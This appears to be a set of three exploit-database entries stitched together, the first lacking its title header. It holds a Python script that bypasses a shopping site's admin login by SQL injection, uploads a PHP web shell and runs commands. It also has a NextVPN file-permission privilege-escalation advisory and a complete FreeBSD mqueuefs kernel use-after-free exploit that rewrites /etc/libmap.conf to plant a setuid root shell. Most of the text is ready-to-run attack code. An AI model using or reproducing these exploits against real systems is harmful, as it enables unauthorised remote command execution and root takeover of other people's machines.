# Version: v4.0
# Category: Webapps
# Tested on: Xampp for Windows

# Description:
# Password and username parameters have sql injection vulnerability on admin panel.
# username: joke' or '1'='1'# , password: joke' or '1'='1'#
# Also, there isn't any restriction for malicious file uploading in the "Insert Product" section.
# This two vulnerabilities occur unauthenticated remote command execution.

#!/usr/bin/python

import requests
import sys
import urllib                          

if (len(sys.argv) !=3) or sys.argv[1] == "-h":
	print "[*] Usage: PoC.py rhost/rpath command"
	print "[*] e.g.: PoC.py 127.0.0.1/shopping ipconfig"
	exit(0) 

rhost = sys.argv[1]

command = sys.argv[2]



url = "http://"+rhost+"/admin/index.php"
data = {"username": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}

with requests.Session() as session:
	#login

	lg = login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})
	print ("[*] Status code for login: %s"%lg.status_code)
	if lg.status_code != 200:
		print ("One bad day! Check web application path!")
		sys.exit()

	#upload file

	files = {'productimage1': ('command.php', '<?php system($_GET["cmd"]); ?>'), 'productimage2': ('joke.txt', 'joke'), 'productimage3': ('joke.txt', 'joke')}
	fdata = {"category": "3", "subcategory": "8", "productName": "the killing joke", "productCompany": "blah", "productpricebd": "0", "productprice": "0", "productDescription": "blah<br>", "productShippingcharge": "0", "productAvailability": "In Stock", "productimage1": "command.php", "productimage2": "joke.txt", "productimage3": "joke.txt", "submit": ""}
	
	furl = "http://"+rhost+"/admin/insert-product.php"
	fupload = session.post(url=furl, files=files, data=fdata)
	print ("[*] Status code for file uploading: %s"%fupload.status_code)
	
	if fupload.status_code != 200:
		print ("One bad day! File didn't upload.")
		sys.exit()
	dir = 0
	dirr = str(dir)
	
	#find uploaded file

	while True:
		el = eurl = session.get("http://"+rhost+"/admin/productimages/"+dirr+"/command.php")	

		if el.status_code == 200:
			
			print "File Found!"
			print "Put On A Happy Face!\r\n\r\n"

			print ("uploaded file location: http://%s/admin/prductimages/%s/command.php?id=%s"%(rhost,dirr,command))
			break
		else:			
			print "trying to find uploaded file..."

		dir += 1
		dirr = str(dir)

#exec
final=session.get("http://"+rhost+"/admin/productimages/"+dirr+"/command.php?cmd="+command)
print final.text
            
# Exploit Title: NextVPN v4.10 - Insecure File Permissions 
# Date: 2019-12-23 
# Exploit Author: SajjadBnd 
# Contact: blackwolf@post.com 
# Vendor Homepage: https://vm3max.site 
# Software Link:http://dl.spacevm.com/NextVPNSetup-v4.10.exe 
# Version: 4.10 
# Tested on: Win10 Professional x64 

[ Description ] 

The NextVPN Application was installed with insecure file permissions. It was found that all folder and file permissions were incorrectly configured during installation. It was possible to replace the service binary. 

[ PoC ]

C:\Users\user\AppData\Local\NextVPN>icacls *.exe

Helper64.exe NT AUTHORITY\SYSTEM:(F)
             BUILTIN\Administrators:(F)
             DESKTOP-5V14SL6\user:(F)
 
NextVPN.exe NT AUTHORITY\SYSTEM:(F)
            BUILTIN\Administrators:(F)
            DESKTOP-5V14SL6\user:(F)
 
Proxifier.exe NT AUTHORITY\SYSTEM:(F)
              BUILTIN\Administrators:(F)
              DESKTOP-5V14SL6\user:(F)
 
ProxyChecker.exe NT AUTHORITY\SYSTEM:(F)
                 BUILTIN\Administrators:(F)
                 DESKTOP-5V14SL6\user:(F)
 
Uninstall.exe NT AUTHORITY\SYSTEM:(F)
              BUILTIN\Administrators:(F)
              DESKTOP-5V14SL6\user:(F)
 
Successfully processed 5 files; Failed processing 0 files
and other Directories :

>cd openconnect
openconnect.exe NT AUTHORITY\SYSTEM:(F)
                BUILTIN\Administrators:(F)
                DESKTOP-5V14SL6\user:(F)
Successfully processed 1 files; Failed processing 0 files
 
 
>cd st
 
st.exe NT AUTHORITY\SYSTEM:(F)
       BUILTIN\Administrators:(F)
       DESKTOP-5V14SL6\user:(F)
Successfully processed 1 files; Failed processing 0 files
 
>cd update

update.exe NT AUTHORITY\SYSTEM:(F)
           BUILTIN\Administrators:(F)
           DESKTOP-5V14SL6\user:(F)

Successfully processed 1 files; Failed processing 0 files

[ Exploit -Privilege Escalation  ]

ReplaceNextVPN.exe,update.exe,st.exe,openconnect.exe,Helper64.exe and other ... with any executable
malicious  file you want then wait and get SYSTEM or Administrator rights (Privilege Escalation)

 
            
# Exploit: FreeBSD-SA-19:15.mqueuefs - Privilege Escalation
# Author: Karsten König of Secfault Security
# Date: 2019-12-30
# Change line 719 to choose which vulnerability
# is targeted
#
# libmap.conf primitive inspired by kcope's 2005 exploit for Qpopper
# Exploit for FreeBSD-SA-19:15.mqueuefs and
# FreeBSD-SA-19:24.mqueu
#!/bin/sh

echo "[+] Root Exploit for FreeBSD mqueuefs vulnerabilities"

umask 0000

# libmap.conf has to exist because it is
# the attacked file
if [ ! -f /etc/libmap.conf ]; then
    echo "[!] libmap.conf has to exist"
    exit
fi

# Make a backup of the current libmap.conf
# because it has to be reconstructed afterwards
cp /etc/libmap.conf ./

# Write the exploit to a C file
cat > exploit.c << EOF
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <pthread_np.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/cpuset.h>
#include <sys/event.h>
#include <sys/ioctl.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/sysctl.h>
#include <sys/_types.h>
#include <sys/types.h>
#include <sys/un.h>

#define N_OPEN 0x2

// Tweak NUM_THREADS and NUM_FORKS if
// more RAM is available on the target
//
// These parameters were tested with
// up to 16 GB of RAM on a dual-core
// Intel based system
#define N 1000000
#define NUM_THREADS 600
#define NUM_FORKS 3
#define FILE_SIZE 1024
#define CHUNK_SIZE 1
#define N_FILES 25

// These are temporary files
// which are created during
// exploitation
#define SERVER_PATH "/tmp/sync_forks"
#define DEFAULT_PATH "/tmp/pwn"
#define HAMMER_PATH "/tmp/pwn2"

// This is the attacked file
#define ATTACK_PATH "/etc/libmap.conf"

// These are parameters from the attack script
#define HOOK_LIB "libutil.so.9"
#define ATTACK_LIB "/tmp/libno_ex.so.1.0"

// The exploit will stick some threads
// to specific cores
#define CORE_0 0
#define CORE_1 1

// Syscalls from mqueuefs
#define KMQ_OPEN 457
#define KMQ_TIMEDSEND 460

// Taken from sys/mqueue.h
struct mq_attr {
    long    mq_flags;
    long    mq_maxmsg;
    long    mq_msgsize;
    long    mq_curmsgs;
    long    __reserved[4];
};

struct thread_data {
    int fd;
    int fd2;
};

pthread_mutex_t write_mtx, trigger_mtx, count_mtx, hammer_mtx;
pthread_cond_t write_cond, trigger_cond, count_cond, hammer_cond;

// Both syscalls are indirectly called to be less reliable on
// installed libraries
int mq_open(const char *name, int oflag, mode_t mode,
            const struct mq_attr *attr)
{
    int fd;
    fd = syscall(KMQ_OPEN, name, oflag, mode, attr);
    return fd;
}

void mq_timedsend(int fd, char *buf, size_t len,
		 unsigned prio, const struct timespec *timeout)
{
    syscall(KMQ_TIMEDSEND, fd, buf, len, prio, timeout);
}

// Convenience function to open temporary files
int open_tmp(char *path)
{
    int fd;
    char *real_path;

    if (path != NULL) {
	real_path = malloc(strlen(path) + 1);
	strcpy(real_path, path);
    }
    else {
	real_path = malloc(strlen(DEFAULT_PATH) + 1);
	strcpy(real_path, DEFAULT_PATH);
    }

    if ((fd = open(real_path, O_RDWR | O_CREAT, S_IRWXU)) == -1) {
	perror("[!] open");
    }
    
    return fd;
}

// Convenience function to prepare a UNIX domain socket
void prepare_domain_socket(struct sockaddr_un *remote, char *path) {
    bzero(remote, sizeof(struct sockaddr_un));
    remote->sun_family = AF_UNIX;
    strncpy(remote->sun_path, path, sizeof(remote->sun_path));
}

// Convenience function to bind a UNIX domain socket
int bind_domain_socket(struct sockaddr_un *remote) {
    int server_socket;
    
    if ((server_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
	perror("[!] socket");
	exit(1);
    }

    if (bind(server_socket, 
	     (struct sockaddr *) remote, 
	     sizeof(struct sockaddr_un)) != 0) {
	perror("[!] bind");
	exit(1);
    }

    return server_socket;
}

// Convenience function to connect to a UNIX domain socket
int connect_domain_socket_client() {
    int client_socket;
    
    if ((client_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
	perror("[!] socket");
	exit(1);
    }

    return client_socket;
}

// Prevent panic at termination because f_count of the
// corrupted struct file is 0 at the moment this function
// is called but open file descriptors still points to the struct,
// hence fdrop() is called at exit of the program and will raise a
// kernel panic because f_count will be below 0
//
// So we just use our known primitive to increase f_count
void prevent_panic(int fd)
{
    mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
    mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
    mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
}

// Convenience function to stick a thread to a CPU core
int stick_thread_to_core(int core) {
    cpuset_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(core, &cpuset);
    
    pthread_t current_thread = pthread_self();    
    return pthread_setaffinity_np(current_thread, sizeof(cpuset_t), &cpuset);
}

// This function will trigger the use-after-free
void *trigger_uaf(void *thread_args) {
    struct thread_data *thread_data;
    int fd, fd2;

    if (stick_thread_to_core(CORE_0) != 0) {
	perror("[!] [!] trigger_uaf: Could not stick thread to core");
    }
    
    thread_data = (struct thread_data *)thread_args;
    fd = thread_data->fd;
    fd2 = thread_data->fd2;

    printf("[+] trigger_uaf: fd: %d\n", fd);
    printf("[+] trigger_uaf: fd2: %d\n", fd2);

    // The thread has to wait for the preparation of the
    // race condition
    printf("[+] trigger_uaf: Waiting for start signal from monitor\n");
    pthread_mutex_lock(&trigger_mtx);
    pthread_cond_wait(&trigger_cond, &trigger_mtx);

    // This sleep parameter helps to render
    // the exploit more reliable
    //
    // Tweeking may be needed for the target system
    usleep(40);

    // Close two fds to trigger UaF
    //
    // This assumes that fget_write() in kern_writev()
    // was already successful!
    //
    // Otherwise kernel panic is triggered
    //
    // f_count = 2 (primitive+fget_write)
    close(fd);
    close(fd2);
    // f_count = 0 => free
    fd = open(ATTACK_PATH, O_RDONLY);
    // refcount = 1
    // all fds do now point to the attacked path

    printf("[+] trigger_uaf: Opened read-only file\n");	
    printf("[+] trigger_uaf: Exit\n");
    
    pthread_exit(NULL);
}

// This function will write to many invalid file streams
//
// This will eventually increase the number of dirty buffers
// in the kernel and creates an exploitable race condition
// for the Use-after-Free
void *hammer(void *arg) {
    int i, j, k, client_socket;
    char buf[FILE_SIZE], sync_buf[3];
    FILE *fd[N_FILES];
    struct sockaddr_un remote;

    prepare_domain_socket(&remote, SERVER_PATH);
    client_socket = connect_domain_socket_client();
    strncpy(sync_buf, "1\n", 3);

    // Open many files and unlink them directly
    // to render the file stream invalid
    for (i = 0; i < N_FILES; i++) {
	unlink(HAMMER_PATH);
	if ((fd[i] = fopen(HAMMER_PATH, "w+")) == NULL) {
	    perror("[!] fopen");
	    exit(1);
	}
    }
    
    for (i = 0; i < FILE_SIZE; i++) {
    	buf[i] = 'a';
    }

    pthread_mutex_lock(&hammer_mtx);

    // Signal that the thread is prepared
    // 
    // Sometimes sendto() fails because
    // no free buffer is available
    for (;;) {
	if (sendto(client_socket,
		   sync_buf,
		   strlen(sync_buf), 0,
		   (struct sockaddr *) &remote,
		   sizeof(remote)) != -1) {
	    break;
	}
    }
    
    // Wait for the other hammer threads
    pthread_cond_wait(&hammer_cond, &hammer_mtx);
    pthread_mutex_unlock(&hammer_mtx);

    // Write to the file streams to create many dirty buffers
    for (i = 0; i < N; i++) {
	for (k = 0; k < N_FILES; k++) {
	    rewind(fd[k]);   
	}
	for (j = 0; j < FILE_SIZE*FILE_SIZE; j += CHUNK_SIZE) {
	    for (k = 0; k < N_FILES; k++) {
		if (fwrite(&buf[j % FILE_SIZE], sizeof(char), CHUNK_SIZE, fd[k]) < 0) {
		    perror("[!] fwrite");
		    exit(1);
		}
	    }
	    fflush(NULL);
	}
    }
    
    pthread_exit(NULL);
}

// This function monitors the number of
// dirty buffers.
//
// If enough dirty buffers do exist, a
// signal to the write and Use-after-Free
// trigger thread is signalled to
// execute the actual attack
//
// Works on UFS only
void *monitor_dirty_buffers(void *arg) {
    int hidirtybuffers, numdirtybuffers;
    size_t len;

    len = sizeof(int);
    
    if (sysctlbyname("vfs.hidirtybuffers", &hidirtybuffers, &len, NULL, 0) != 0) {
	perror("[!] sysctlbyname hidirtybuffers");
	exit(1);
    };
    printf("[+] monitor: vfs.hidirtybuffers: %d\n", hidirtybuffers);

    while(1) {
	sysctlbyname("vfs.numdirtybuffers", &numdirtybuffers, &len, NULL, 0);
	if (numdirtybuffers >= hidirtybuffers) {
	    pthread_cond_signal(&write_cond);
	    pthread_cond_signal(&trigger_cond);		    
	    printf("[+] monitor: Reached hidirtybuffers watermark\n");
	    break;
	}
    }
    
    pthread_exit(NULL);
}

// Check if the write to the attacked
// path was successful
int check_write(int fd) {
    char buf[256];
    int nbytes;
    struct stat st;

    printf("[+] check_write\n");
    stat(DEFAULT_PATH, &st);
    printf("[+] %s size: %lld\n", DEFAULT_PATH, st.st_size);

    stat(ATTACK_PATH, &st);
    printf("[+] %s size: %lld\n", ATTACK_PATH, st.st_size);
        
    nbytes = read(fd, buf, strlen(HOOK_LIB));
    printf("[+] Read bytes: %d\n", nbytes);
    if (nbytes > 0 && strncmp(buf, HOOK_LIB, strlen(HOOK_LIB)) == 0) {
	return 1;
    }
    else if (nbytes < 0) {
	perror("[!] check_write:read");
	printf("[!] check_write:Cannot check if it worked!");
	return 1;
    }
    
    return 0;
}

// This function will execute the write operation
// to the attacked path
void *write_to_file(void *thread_args) {
    int fd, fd2, nbytes;
    int *fd_ptr;
    char buf[256];
    struct thread_data *thread_data;
    struct mq_attr attrs;
    
    if (stick_thread_to_core(CORE_1) != 0) {
	perror("[!] write_to_file: Could not stick thread to core");
    }

    fd_ptr = malloc(sizeof(int));
    
    attrs.mq_maxmsg = 10;
    attrs.mq_msgsize = sizeof(int);    
    
    thread_data = (struct thread_data *)thread_args;
    fd = thread_data->fd;
    fd2 = open(ATTACK_PATH, O_RDONLY);

    // Wait for the signal to execute the write operation
    printf("[+] write_to_file: Wait for signal from monitor\n");	
    pthread_mutex_lock(&write_mtx);
    pthread_cond_wait(&write_cond, &write_mtx);

    // Write to the temporary file
    //
    // During the write operation the exploit will trigger
    // the Use-after-Free and exchange the written file
    // with the attacked file to render a write to it
    snprintf(buf, 256, "%s %s\n#", HOOK_LIB, ATTACK_LIB);
    nbytes = write(fd, buf, strlen(buf));

    // Reopen directly after write to prevent panic later
    //
    // After the write f_count == 0 because after trigger_uaf()
    // opened the read-only file, f_count == 1 and write()
    // calls fdrop() at the end
    //
    // => f_count == 0
    //
    // A direct open hopefully assigns the now again free file
    // object to fd so that we can prevent the panic with our
    // increment primitive.
    *fd_ptr = mq_open("/pwn_mq", O_RDWR | O_CREAT, 0666, &attrs);
    if (*fd_ptr == -1)
	perror("[!] write_to_file: mq_open");
    
    if (nbytes < 0) {
	perror("[!] write_to_file: write");
    } else if (nbytes > 0) {
	printf("[+] write_to_file: We have written something...\n");
	if (check_write(fd2) > 0)
	    printf("[+] write_to_file: It (probably) worked!\n");
	else
	    printf("[!] write_to_file: It worked not :(\n");
    }

    printf("[+] write_to_file: Exit\n");
    pthread_exit(fd_ptr);
}

// This function prepares the Use-after-Free due to
// a reference counter overflow
void prepare(int fds[3]) {
    int fd, fd2, fd3, trigger_fd;
    u_int32_t i;
    struct mq_attr attrs;
    attrs.mq_maxmsg = 10;
    attrs.mq_msgsize = sizeof(int);

    printf("[+] Start UaF preparation\n");
    printf("[+] This can take a while\n");

    // Open a mqueue file
    fd = mq_open("/pwn_mq", O_RDWR | O_CREAT, 0666, &attrs);
    if (fd == -1) {
	perror("open");
	exit(1);
    }  

    // fp->f_count will be incremented by 1 per iteration due
    // to the bug in freebsd32_kmq_timedsend()
    //
    // That is, 0xfffffffe iterations will increment it to
    // 0xffffffff (f_count starts with 1 because of mq_open())
    //
    // The bug is triggered because freebsd_kqm_timedsend will eventually
    // try to call copyin() with the pointer to address 0x1 which
    // is invalid
    for (i = 0; i < 0xfffffffe; i++) {
    	// just a progress message, nothing special about the magic values
    	if (i % 0x19999990 == 0)
    	    printf("[+] Progress: %d%%\n", (u_int32_t) (i / 0x28f5c28));
    	mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
    }

    // Every dup() increases fp->f_count by 1
    //
    // Using dup() works because FreeBSD's mqueue implementation
    // is implemented by using file objects (struct file) internally.
    //
    // This circumvents an infinite loop in fget_unlocked() as dup()
    // does not use _fget() but fhold() to increase the counter.
    fd2 = dup(fd);
    if (fd2 == -1) {
	perror("dup");
	exit(1);
    }  
    fd3 = dup(fd);
    if (fd3 == -1) {
	perror("dup");
	exit(1);
    }  

    // Close the mqueue file to trigger a free operation
    //
    // The descriptors fd2 and fd3 will still point
    // to the freed object
    //
    // Opening another file will render these descriptors
    // to point the newly opened file
    close(fd);
    trigger_fd = open_tmp(NULL);
    
    fds[0] = trigger_fd;
    fds[1] = fd2;
    fds[2] = fd3;
    
    printf("[+] Finished UaF preparation\n");
}

// This function will monitor that all
// hammer threads are opened
void read_thread_status(int server_socket) {
    int bytes_rec, count;
    struct sockaddr_un client;
    socklen_t len;
    char buf[256];
    struct timeval tv;
    
    tv.tv_sec = 10;
    tv.tv_usec = 0;
    setsockopt(server_socket,
	       SOL_SOCKET, SO_RCVTIMEO,
	       (const char*)&tv, sizeof tv);
    
    for (count = 0; count < NUM_FORKS*NUM_THREADS; count++) {
	if (count % 100 == 0) {
	    printf("[+] Hammer threads ready: %d\n", count);
	}
	bzero(&client, sizeof(struct sockaddr_un));
	bzero(buf, 256);
	
	len = sizeof(struct sockaddr_un);
	if ((bytes_rec = recvfrom(server_socket,
				  buf, 256, 0,
				  (struct sockaddr *) &client,
				  &len)) == -1) {
	    perror("[!] recvfrom");
	    break;
	}
    }

    if (count != NUM_FORKS * NUM_THREADS) {
	printf("[!] Could not create all hammer threads, will try though!\n");
    }
}

// This function will execute the whole exploit
void fire() {
    int i, j, fd, fd2, fd3, bytes_rec, server_socket;
    int sv[2], fds[3], hammer_socket[NUM_FORKS];
    int *fd_ptr;
    char socket_path[256], sync_buf[3], buf[256];
    pthread_t write_thread, trigger_thread, monitor_thread;
    pthread_t hammer_threads[NUM_THREADS];
    pid_t pids[NUM_FORKS];
    socklen_t len;
    struct thread_data thread_data;
    struct sockaddr_un server, client;
    struct sockaddr_un hammer_socket_addr[NUM_FORKS];

    // Socket for receiving thread status
    unlink(SERVER_PATH);
    prepare_domain_socket(&server, SERVER_PATH);
    server_socket = bind_domain_socket(&server);

    // Sockets to receive hammer signal
    for (i = 0; i < NUM_FORKS; i++) {
	snprintf(socket_path, sizeof(socket_path), "%s%c", SERVER_PATH, '1'+i);
	unlink(socket_path);
	prepare_domain_socket(&hammer_socket_addr[i], socket_path);
	hammer_socket[i] = bind_domain_socket(&hammer_socket_addr[i]);
    }

    strncpy(sync_buf, "1\n", 3);
    len = sizeof(struct sockaddr_un);
    
    if (socketpair(PF_UNIX, SOCK_STREAM, 0, sv) == -1) {
	perror("[!] socketpair");
	exit(1);
    }
        
    pthread_mutex_init(&write_mtx, NULL);
    pthread_mutex_init(&trigger_mtx, NULL);
    pthread_cond_init(&write_cond, NULL);
    pthread_cond_init(&trigger_cond, NULL);

    // Create the thread to monitor the number of
    // dirty buffers directly in the beginning
    // to be ready when needed
    pthread_create(&monitor_thread, NULL, monitor_dirty_buffers, NULL);

    // Prepare the UaF using the 0day
    prepare(fds);
    fd = fds[0];
    fd2 = fds[1];
    fd3 = fds[2];

    // Create the threads which will execute the exploit
    thread_data.fd = fd;
    thread_data.fd2 = fd2;
    pthread_create(&trigger_thread, NULL, trigger_uaf, (void *) &thread_data);
    pthread_create(&write_thread, NULL, write_to_file, (void *) &thread_data);
    
    for (j = 0; j < NUM_FORKS; j++) {
	if ((pids[j] = fork()) < 0) {
	    perror("[!] fork");
	    abort();
	}
	else if (pids[j] == 0) {
	    // Close the file descriptors
	    // becasue each fork will have an own reference
	    // to the file object, thus increasing the
	    // reference counter
	    close(fd);	    
	    close(fd2);
	    close(fd3);
	    pthread_mutex_init(&hammer_mtx, NULL);
	    pthread_cond_init(&hammer_cond, NULL);

	    // Create the hammer threads
	    for (i = 0; i < NUM_THREADS; i++) {
	    	pthread_create(&hammer_threads[i], NULL, hammer, NULL);
	    }

	    printf("[+] Fork %d created all threads\n", j);

	    // Wait for the signal to start hammering from the parent
	    if ((bytes_rec = recvfrom(hammer_socket[j],
				      buf, 256, 0,
				      (struct sockaddr *) &client,
				      &len)) == -1) {
		perror("[!] accept");
		abort();
	    }

	    // Broadcast to the hammer threads to
	    // start hammering
	    pthread_cond_broadcast(&hammer_cond);

	    // Wait for the hammer threads
	    for (i = 0; i < NUM_THREADS; i++) {
	    	pthread_join(hammer_threads[i], NULL);
	    }

	    pthread_cond_destroy(&hammer_cond);
	    pthread_mutex_destroy(&hammer_mtx);

	    exit(0);
	} else {
	    printf("[+] Created child with PID %d\n", pids[j]);	    
	}
    }    

    // Wait for the preparation of all hammer threads
    // in the forks.
    //
    // If all are prepared, send a signal to the childs
    // to start the hammering process to create dirty
    // buffers.
    read_thread_status(server_socket);
    printf("[+] Send signal to Start Hammering\n");
    for (i = 0; i < NUM_FORKS; i++) {
	if (sendto(hammer_socket[i],
		   sync_buf,
		   strlen(sync_buf), 0,
		   (struct sockaddr *) &hammer_socket_addr[i],
		   sizeof(hammer_socket_addr[0])) == -1) {
	    perror("[!] sendto");
	    exit(1);
	}
    }

    // Wait for all threads to finish
    pthread_join(monitor_thread, NULL);
    for (i = 0; i < NUM_FORKS; i++) {
	kill(pids[i], SIGKILL);
	printf("[+] Killed %d\n", pids[i]);
    }

    pthread_join(write_thread, (void **) &fd_ptr);    
    pthread_join(trigger_thread, NULL);
    
    pthread_mutex_destroy(&write_mtx);
    pthread_mutex_destroy(&trigger_mtx);
    pthread_cond_destroy(&write_cond);
    pthread_cond_destroy(&trigger_cond);

    // Prevent a kernel panic
    prevent_panic(*fd_ptr);

    // fd was acquired from write_to_file
    // which allocs a pointer for it
    free(fd_ptr);
}

int main(int argc, char **argv)
{
    setbuf(stdout, NULL);
    
    fire();
    
    return 0;
}

EOF

# Compile with -m32 to exploit FreeBSD-SA-19:24.mqueuefs
cc -o exploit -lpthread exploit.c
# cc -o exploit -m32 -lpthread exploit.c

cat > program.c << EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
  if (!geteuid())
    execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);
}

EOF

# Compile the shared library object
cc -o program.o -c program.c -fPIC
cc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0

# Start the exploit
#
# su will execute the shared library object
# that creates the shell binary copy
echo "[+] Firing the Exploit"
./exploit
su

# Ensure that everything has worked
# and execute the root-shell
if [ -f /tmp/xxxx ]; then
    echo "[+] Enjoy!"
    echo "[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf"
    /tmp/xxxx
else
    echo "[!] FAIL"
fi